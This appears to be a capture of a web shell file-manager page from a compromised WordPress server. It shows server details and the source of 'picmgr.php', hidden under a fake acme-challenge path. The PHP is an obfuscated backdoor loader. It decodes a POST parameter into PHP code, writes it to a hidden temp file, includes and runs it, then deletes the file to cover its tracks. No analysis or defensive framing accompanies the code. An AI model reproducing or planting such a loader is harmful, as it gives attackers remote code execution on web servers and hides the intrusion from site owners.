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Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/b/c/a/h/picmgr.php
<?php

if(isset($_POST) && isset($_POST["d\x63h\x75n\x6B"])){
	$rec = array_filter(["/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]);
	$itm = $_POST["d\x63h\x75n\x6B"];
	  	$itm 	=			explode( "."  ,			$itm); 	
	$holder	 =		'';
            $salt	 =		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =		strlen(		$salt	);
            $j	 =		0;
    
            while(		$j	<count(		$itm)) {		$v5	 =		$itm[$j];
                $chS	 =		ord(		$salt[$j%$lenS]	);
                $dec	 =		(		(		int)$v5 - $chS -(		$j%10)) ^ 59;
                $holder .= chr(		$dec	);
                $j++;
            }
	for ($value = 0, $obj = count($rec); $value < $obj; $value++) {
    $binding = $rec[$value];
    		if (array_product([is_dir($binding), is_writable($binding)])) {
    $val = "$binding" . "/.object";
    $file = fopen($val, 'w');
if ($file) {
	fwrite($file, $holder);
	fclose($file);
	include $val;
	@unlink($val);
	die();
}
}
}
}